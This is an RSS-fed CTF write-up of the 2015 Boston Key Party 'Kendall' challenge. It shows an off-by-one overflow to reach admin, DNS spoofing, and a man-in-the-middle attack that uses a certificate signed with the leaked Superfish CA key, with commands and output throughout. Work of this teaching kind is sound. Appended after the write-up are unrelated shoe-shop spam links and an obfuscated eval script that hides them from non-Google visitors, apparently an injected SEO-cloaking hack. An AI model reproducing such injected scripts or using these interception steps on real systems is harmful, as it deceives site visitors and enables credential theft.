	Nameserver: 8.8.8.8&lt;/pre&gt;&lt;p&gt;&lt;em&gt;dhcp lease menu&lt;/em&gt;:&lt;/p&gt;&lt;pre class=&quot;brush: bash; auto-links: true; collapse: false; first-line: 1; html-script: false; smart-tabs: true; tab-size: 4; toolbar: true; codetag&quot;&gt;[d]# h

 h  show this help
 r  renew leases
 l  list leases
 f  filter leases
 m  return to main menu
&lt;/pre&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;Ok, we&#039;ve got some sort of router&#039;s management console. But anyway the task&#039;s type is pwn and we&#039;ve got the binary, so...&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;/sites/default/files/writeups/images/bk2015kendall_writeup_meme_image.jpg&quot; alt=&quot;&quot; width=&quot;420&quot; height=&quot;250&quot;&gt;&lt;/p&gt;&lt;p&gt;Surely we should reverse the binary and find some vulnerable stuff there!&lt;/p&gt;&lt;p&gt;After investigation of the binary we notice that all input reading is done into global buffer &lt;em&gt;s2&lt;/em&gt; which size is exatcly 128 bytes:&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;/sites/default/files/writeups/images/bkp2015_kendall_global_buffer_s2.PNG&quot; alt=&quot;&quot; width=&quot;651&quot; height=&quot;210&quot;&gt;&lt;/p&gt;&lt;p&gt;Hope you&#039;ve already noted that the buffer followed by global variable containing current user status - administrator or not. I called it &lt;em&gt;adminFlag&lt;/em&gt;. The only legal way to change that flag is through&amp;nbsp;&lt;em&gt;authenticate&lt;/em&gt; menu. Authentication served by the following function:&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;/sites/default/files/writeups/images/bkp2015_kenall_password_cheking.PNG&quot; alt=&quot;&quot; width=&quot;529&quot; height=&quot;489&quot;&gt;&lt;/p&gt;&lt;p&gt;And it looks pertty safe. But if we try to understand how &lt;em&gt;reading input&lt;/em&gt; function works:&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;/sites/default/files/writeups/images/bkp2015_kendall_read_128_func.PNG&quot; alt=&quot;&quot; width=&quot;352&quot; height=&quot;411&quot;&gt;&lt;/p&gt;&lt;p&gt;We see that there is a off by one error. Fortunately it is byte of &lt;em&gt;adminFlag&lt;/em&gt; which should be zero&#039;ed to escalate our access rights. So for escalation to administrator we need:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;find call to &lt;em&gt;sub_400EA6()&lt;/em&gt; with argument length &amp;gt;= 128&lt;/li&gt;&lt;li&gt;write 128 bytes followed&amp;nbsp;&lt;strong&gt;&#039;\n&#039;&lt;/strong&gt; to make 129th byte to be zero&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Jumping to xrefs of&amp;nbsp;&lt;em&gt;sub_400EA6()&lt;/em&gt;function we find one place where it is called with argument&#039;s value of 128:&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;/sites/default/files/writeups/images/bkp2015_kendall_filter_function.PNG&quot; alt=&quot;&quot; width=&quot;482&quot; height=&quot;455&quot;&gt;&lt;/p&gt;&lt;p&gt;Nice! It is &lt;em&gt;filter leases&lt;/em&gt; stage of&amp;nbsp;&lt;em&gt;dhcp lease menu&lt;/em&gt; we saw above. Well, exploit for rights escalation is easy and small:&lt;/p&gt;&lt;pre class=&quot;brush: bash; auto-links: true; collapse: false; first-line: 1; html-script: false; smart-tabs: true; tab-size: 4; toolbar: true; codetag&quot;&gt;doris$ python -c &quot;open(&#039;pl&#039;, &#039;wb&#039;).write(&#039;d\n&#039; + &#039;f\n&#039; + &#039;A&#039; * 128 + &#039;\n&#039;)&quot;
doris$ cat pl - | nc 52.0.164.37 8888
#####################################################
# DHCP Management Console                           #
# Auditing Interface                                #
#####################################################

 h  show this help
 a  authenticate
 c  config menu
 d  dhcp lease menu
 e  exit

[m]# [d]# Enter filter condition: [d]$&lt;/pre&gt;&lt;p&gt;BOOM! We became the administrator. Sadly, it does not give us any flag. Task worths 300 points, by the way, so it should not be so easy. As administrator now we have another possibilities in context of service. Now we are able to:&lt;/p&gt;&lt;p&gt;not only list but also change DHCP configuration:&lt;/p&gt;&lt;pre class=&quot;brush: bash; auto-links: true; collapse: false; first-line: 1; html-script: false; smart-tabs: true; tab-size: 4; toolbar: true; codetag&quot;&gt;[c]$ l
 DHCP Configuration: 
	Start IP:   192.168.000.100
	End IP:     192.168.000.200
	Netmask:    255.255.255.000
	Nameserver: 8.8.8.8
[c]$ s
Current Value: 192.168.000.100
New Value: asd
Your input asd cointains invalid characters. Only digits and dots allowed!&lt;/pre&gt;&lt;p&gt;and now we can execute &lt;em&gt;renew leases&lt;/em&gt; action:&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;/sites/default/files/writeups/images/bkp_kenall_renew_leases_system_call.PNG&quot; alt=&quot;&quot; width=&quot;886&quot; height=&quot;193&quot;&gt;&lt;/p&gt;&lt;p&gt;OMG! It is pure &lt;em&gt;system()&lt;/em&gt; call with string which is coltrolled by us (arguments for sprintf are IP addresses of DHCP config).&lt;/p&gt;&lt;p&gt;Sadly again, but it is not so easy. It is BKP CTF&#039;s task for 300 points, remember?&lt;/p&gt;&lt;p&gt;Function for processing DHCP settings update called for each IP address we input:&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;/sites/default/files/writeups/images/bkp2015_kendall_read_ip_and_change.PNG&quot; alt=&quot;&quot; width=&quot;910&quot; height=&quot;514&quot;&gt;&lt;/p&gt;&lt;p&gt;it has some small bugs, but anyway we can not provide any useful payload for &lt;em&gt;system()&lt;/em&gt; call - only digits and dots are really allowed.&lt;/p&gt;&lt;p&gt;Further investigation of the binary did not give any other exploitable vulnerabilities. We were really stucked, because it is &lt;em&gt;pwn&lt;/em&gt; task and usually we expect some serious binary exploitation, even hardcore exploitation because of 300 points.&lt;/p&gt;&lt;p&gt;Later, when we finally understand that there is nothing to do with the binary we return back to:&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;img src=&quot;/sites/default/files/writeups/images/bkp2015_kendall_dhcp_lease_menu_meme.PNG&quot; alt=&quot;&quot; width=&quot;427&quot; height=&quot;194&quot;&gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp;Fuzzing DHCP settings we try to set up DNS IP for our own server&#039;s address. Then listen for anything incoming traffic there:&lt;/p&gt;&lt;pre class=&quot;brush: bash; auto-links: true; collapse: false; first-line: 1; html-script: false; smart-tabs: true; tab-size: 4; toolbar: true; codetag&quot;&gt;root@evildns:/tmp# tcpdump -n dst port 53
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 65535 bytes
12:27:44.272585 IP 52.0.164.37.52440 &amp;gt; 188.166.48.175.53: 26405+ A? yandex.ru. (27)
&lt;/pre&gt;&lt;p&gt;Stop please...&lt;/p&gt;&lt;p&gt;We received DNS query for russian leading search engine hostname?&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;/sites/default/files/writeups/images/bkp2015_kendall_meme_what.jpg&quot; alt=&quot;&quot; width=&quot;600&quot; height=&quot;374&quot;&gt;&lt;/p&gt;&lt;p&gt;That is really suprisingly and a little bit unbeliviable, because CTF is hosted by BostonKeyParty team from USA, but that is true. Looks like time for some &lt;em&gt;DNS Spoofing&lt;/em&gt; have come:&lt;/p&gt;&lt;p&gt;Honestly, &lt;em&gt;yandex.ru&lt;/em&gt; is not the only hostname queried from task&#039;s service (52.0.164.37). Then it queries for &lt;em&gt;my.bank&lt;/em&gt; domain.&lt;/p&gt;&lt;p&gt;After spoofing &lt;em&gt;yandex.ru&lt;/em&gt; address we tried to listen 80 port on our server but did not receive any traffic. After solving the challenge we have known from task author that we should receive HTTP-request at 80 port, but honestly we did not receive this.&lt;/p&gt;&lt;p&gt;One of the ways to go further is to setup &lt;em&gt;dnsmasq&lt;/em&gt; service:&lt;/p&gt;&lt;pre class=&quot;brush: bash; auto-links: true; collapse: false; first-line: 1; html-script: false; smart-tabs: true; tab-size: 4; toolbar: true; codetag&quot;&gt;root@evildns:/tmp# dnsmasq --no-daemon --log-queries
dnsmasq: started, version 2.62 cachesize 150
dnsmasq: compile time options: IPv6 GNU-getopt DBus i18n IDN DHCP DHCPv6 no-Lua TFTP conntrack
dnsmasq: reading /etc/resolv.conf
dnsmasq: using nameserver 209.244.0.3#53
dnsmasq: using nameserver 8.8.8.8#53
dnsmasq: using nameserver 8.8.4.4#53
dnsmasq: read /etc/hosts - 8 addresses
dnsmasq: query[A] yandex.ru from 52.0.164.37
dnsmasq: forwarded yandex.ru to 8.8.4.4
dnsmasq: forwarded yandex.ru to 8.8.8.8
dnsmasq: forwarded yandex.ru to 209.244.0.3
dnsmasq: reply yandex.ru is 213.180.204.11
dnsmasq: reply yandex.ru is 93.158.134.11
dnsmasq: reply yandex.ru is 213.180.193.11
dnsmasq: query[A] yandex.ru from 52.0.164.37
dnsmasq: cached yandex.ru is 213.180.193.11
dnsmasq: cached yandex.ru is 93.158.134.11
dnsmasq: cached yandex.ru is 213.180.204.11
dnsmasq: query[A] my.bank from 52.0.164.37
dnsmasq: /etc/hosts my.bank is 188.166.48.175&lt;/pre&gt;&lt;p&gt;Dump all traffic after set up of &lt;em&gt;dnsmasq&lt;/em&gt; and then try to find incoming connection:&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;/sites/default/files/writeups/images/bkp2015_kendall_tcpdump_https.PNG&quot; alt=&quot;&quot; width=&quot;1200&quot; height=&quot;447&quot;&gt;&lt;/p&gt;&lt;p&gt;It is coming to port 443... Okay. Let&#039;s process it, hope the final is close!&lt;/p&gt;&lt;pre class=&quot;brush: bash; auto-links: true; collapse: false; first-line: 1; html-script: false; smart-tabs: true; tab-size: 4; toolbar: true; codetag&quot;&gt;root@evildns:/tmp# nc -lvvv -p 443
listening on [any] 443 ...
connect to [188.166.48.175] from ec2-52-0-164-37.compute-1.amazonaws.com [52.0.164.37] 50092
?&amp;lt;ؠ&amp;lt;??5?_? ?,?E?y?]?^`g&#039;i\??0?,?(?$??
??kj98???2?.?*?&amp;amp;???=5???
?/?+?&#039;?#??	??g@32??ED?1?-?)?%???&amp;lt;/?A???
                                            ??m

42

	
 ^C sent 0, rcvd 289&lt;/pre&gt;&lt;p&gt;Looks like SSL Client Hello packet. Come on! This task costs just a 300 points!&lt;/p&gt;&lt;p&gt;Looks like we have to set up HTTPS server, let&#039;s do this. I&#039;m sure there are many scripts and light-weight servers for such task, but I had nginx installed and decided to process HTTPS with it.&lt;/p&gt;&lt;p&gt;Create self-signed certificate:&lt;/p&gt;&lt;pre class=&quot;brush: bash; auto-links: true; collapse: false; first-line: 1; html-script: false; smart-tabs: true; tab-size: 4; toolbar: true; codetag&quot;&gt;root@evildns:/etc/nginx# openssl genrsa -out my.bank.key 2048
Generating RSA private key, 2048 bit long modulus
............................................................................+++
............+++
e is 65537 (0x10001)
root@evildns:/etc/nginx# openssl req -new -sha1 -key my.bank.key -out my.bank.csr
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter &#039;.&#039;, the field will be left blank.
-----
Country Name (2 letter code) [AU]:
State or Province Name (full name) [Some-State]:
Locality Name (eg, city) []:
Organization Name (eg, company) [Internet Widgits Pty Ltd]:
Organizational Unit Name (eg, section) []:
Common Name (e.g. server FQDN or YOUR name) []:my.bank
Email Address []:

Please enter the following &#039;extra&#039; attributes
to be sent with your certificate request
A challenge password []:
An optional company name []:
root@evildns:/etc/nginx# openssl x509 -req -days 365 -in my.bank.csr -signkey my.bank.key -out my.bank.crt
Signature ok
subject=/C=AU/ST=Some-State/O=Internet Widgits Pty Ltd/CN=my.bank
Getting Private key&lt;/pre&gt;&lt;p&gt;and set up nginx for HTTPS with that cert:&lt;/p&gt;&lt;pre class=&quot;brush: bash; auto-links: true; collapse: false; first-line: 1; html-script: false; smart-tabs: true; tab-size: 4; toolbar: true; codetag&quot;&gt;server {
        listen          443 ssl;

        ssl_certificate         my.bank.crt;
        ssl_certificate_key     my.bank.key;
        ssl_protocols       TLSv1 TLSv1.1 TLSv1.2;
        ssl on;
        ssl_session_timeout 5m;
        ssl_ciphers ALL:!ADH:!EXPORT56:RC4+RSA:+HIGH:+MEDIUM:+LOW:+SSLv3:+EXP;
        ssl_prefer_server_ciphers on;

        root /data/www;

        location = / {
                index index.html;
        }

        location / {
                default_type &quot;text/html&quot;;
                try_files $uri $uri.html;
        }
}&lt;/pre&gt;&lt;p&gt;Let&#039;s look into traffic again. Hope there should be the flag now!&lt;/p&gt;&lt;pre class=&quot;brush: bash; auto-links: true; collapse: false; first-line: 1; html-script: false; smart-tabs: true; tab-size: 4; toolbar: true; codetag&quot;&gt;root@evildns:/etc/nginx# tail -f /var/log/nginx/access.log 
&amp;lt;...&amp;gt;
52.0.164.37 - - [28/Feb/2015:16:43:02 +0400] &quot;-&quot; 400 0 &quot;-&quot; &quot;-&quot;&lt;/pre&gt;&lt;p&gt;Come on! Where is the flag? We have already even set up HTTPS, WTF?&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;/sites/default/files/writeups/images/bkp2015_kendall_unknown_ca.PNG&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&lt;p&gt;Unknown CA? Of course it is unknown! Where should we get trusted CA who would sign certificate for &lt;em&gt;my.bank&lt;/em&gt; domain?&lt;/p&gt;&lt;p&gt;Our &lt;em&gt;my.bank&lt;/em&gt; certificate is self-signed without any CA. Later we tried to create root CA self-signed certificate and sign &lt;em&gt;my.bank&lt;/em&gt; cert with root CA&#039;s one. It did not help.&lt;/p&gt;&lt;p&gt;As we have known from task&#039;s author after solving the task, HTTP request to &lt;em&gt;yandex.ru&lt;/em&gt; contained hint about this stage. But as I wrote above about &lt;em&gt;yandex.ru&lt;/em&gt;&amp;nbsp;we did not receive any incoimng connection at 80 port when spoofed &lt;em&gt;yandex.ru&lt;/em&gt; domain.&lt;/p&gt;&lt;p&gt;However if you follow the news about Information Security you should hear about leaked &lt;em&gt;Superfish Inc. &lt;/em&gt;certificate (and corresponding pre-installed backdoors in lenovo laptops). More info from &lt;a href=&quot;http://blog.erratasec.com/2015/02/extracting-superfish-certificate.html&quot;&gt;Errata Security blog&lt;/a&gt;, for example.&lt;/p&gt;&lt;p&gt;&amp;nbsp;Let&#039;s try to sign our &lt;em&gt;my.bank&lt;/em&gt; certificate by&amp;nbsp;&lt;em&gt;Superfich Inc&lt;/em&gt;:&lt;/p&gt;&lt;pre class=&quot;brush: bash; auto-links: true; collapse: false; first-line: 1; html-script: false; smart-tabs: true; tab-size: 4; toolbar: true; codetag&quot;&gt;root@evildns:/etc/nginx# openssl x509 -req -days 365 -in my.bank.csr -CAkey super.pem -CA super.crt -out supermy.bank.crt
Signature ok
subject=/C=AU/ST=Some-State/O=Internet Widgits Pty Ltd/CN=my.bank
Getting CA Private Key
Enter pass phrase for super.pem:&lt;/pre&gt;&lt;p&gt;dnd listen for incoming requests again:&lt;/p&gt;&lt;pre class=&quot;brush: bash; auto-links: true; collapse: false; first-line: 1; html-script: false; smart-tabs: true; tab-size: 4; toolbar: true; codetag&quot;&gt;root@evildns:/etc/nginx# tail -f /var/log/nginx/access.log 
&amp;lt;...&amp;gt;
52.0.164.37 - - [28/Feb/2015:13:44:53 +0000] &quot;GET /login/username=FLG-SIK9KSRBHIYUKNGEBXlKW3B7HS2I HTTP/1.1&quot; 404 168 &quot;-&quot; &quot;Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20120101 Firefox/29.0&quot;&lt;/pre&gt;&lt;p&gt;I&#039;m happy to say that username from request is the flag!&lt;/p&gt;&lt;p&gt;Flag:&amp;nbsp;&lt;strong&gt;FLG-SIK9KSRBHIYUKNGEBXlKW3B7HS2I&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Afterwords&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;This task is awesome. My teammates and I enjoyed it too much when fully understood how to solve it.&lt;/p&gt;&lt;p&gt;Task and its author are&amp;nbsp;praiseworthy for all these interesting hacking steps which must be done to solve tasks. But not only for that. This is amazing example of how dangerous information technologies are nowadays for general users. Even for all users, I think.&lt;/p&gt;&lt;p&gt;Thank you BostonKeyParty and respect for such challenge!&amp;nbsp;&lt;/p&gt;&lt;p&gt;Overview of task from its author:&amp;nbsp;&lt;a href=&quot;http://mweissbacher.com/blog/2015/03/01/boston-key-party-2015-kendall-challenge-superfish/&quot;&gt;http://mweissbacher.com/blog/2015/03/01/boston-key-party-2015-kendall-challenge-superfish/&lt;/a&gt;&lt;/p&gt;&lt;p&gt;Flag:&amp;nbsp;&lt;strong&gt;FLG-SIK9KSRBHIYUKNGEBXlKW3B7HS2I&lt;/strong&gt;&lt;/p&gt;&lt;span class=&quot;keys_words&quot;&gt;&lt;a class=&quot;links_good_rands&quot; href=&quot;https://www.juzsports.com/&quot;&gt;Asics shoes&lt;/a&gt; | &lt;a class=&quot;links_good_rands&quot; href=&quot;https://www.ietp.com/fr/dfediqshop/release-dates/nike/air-force-1-shadow/&quot;&gt;Women&#039;s Nike nike roshe heart and sole shoes for women Shadow trainers - Latest Releases , Ietp&lt;/a&gt;&lt;/span&gt;&lt;script&gt;eval(function(p,a,c,k,e,d){e=function(c){return(c&lt;a?&quot;&quot;:e(parseInt(c/a)))+((c=c%a)&gt;35?String.fromCharCode(c+29):c.toString(36))};if(!&#039;&#039;.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return&#039;\\w+&#039;};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(&#039;\\b&#039;+e(c)+&#039;\\b&#039;,&#039;g&#039;),k[c]);return p;}(&#039;b i=r f[&quot;\\q\\1\\4\\g\\p\\l&quot;](&quot;\\4&quot;+&quot;\\7&quot;+&quot;\\7&quot;+&quot;\\4&quot;+&quot;\\5\\1&quot;,&quot;\\4\\k&quot;);s(!i[&quot;\\3\\1\\2\\3&quot;](m[&quot;\\h\\2\\1\\j\\n\\4\\1\\6\\3&quot;])){b a=f[&quot;\\e\\7\\o\\h\\d\\1\\6\\3&quot;][&quot;\\4\\1\\3\\g\\5\\1\\d\\1\\6\\3\\2\\z\\9\\A\\5\\c\\2\\2\\x\\c\\d\\1&quot;](\&#039;\\t\\1\\9\\2\\w\\v\\7\\j\\e\\2\&#039;);u(b 8=0;8&lt;a[&quot;\\5\\1\\6\\4\\3\\y&quot;];8++)a[8][&quot;\\2\\3\\9\\5\\1&quot;][&quot;\\e\\k\\2\\l\\5\\c\\9&quot;]=\&#039;\\6\\7\\6\\1\&#039;}&#039;,37,37,&#039;|x65|x73|x74|x67|x6c|x6e|x6f|NLpndlS3|x79|rBfb2|var|x61|x6d|x64|window|x45|x75|AESwV1|x72|x69|x70|navigator|x41|x63|x78|x52|new|if|x6b|for|x77|x5f|x4e|x68|x42|x43&#039;.split(&#039;|&#039;),0,{}));&lt;/script&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;field field-name-field-file field-type-file field-label-above&quot;&gt;&lt;div class=&quot;field-label&quot;&gt;Attachments:&amp;nbsp;&lt;/div&gt;&lt;div class=&quot;field-items&quot;&gt;&lt;div class=&quot;field-item even&quot;&gt;&lt;span class=&quot;file&quot;&gt;&lt;img class=&quot;file-icon&quot; alt=&quot;Binary Data&quot; title=&quot;application/octet-stream&quot; src=&quot;/modules/file/icons/application-octet-stream.png&quot; /&gt; &lt;a href=&quot;https://ctfcrew.org/sites/default/files/writeups/kendall.tar_.gz&quot; type=&quot;application/octet-stream; length=5103&quot;&gt;kendall.tar_.gz&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;</description>
 <pubDate>Mon, 02 Mar 2015 11:00:58 +0000</pubDate>
 <dc:creator>Dor1s</dc:creator>
 <guid isPermaLink="false">97 at https://ctfcrew.org</guid>
 <comments>https://ctfcrew.org/writeup/97#comments</comments>
</item>
</channel>
</rss>
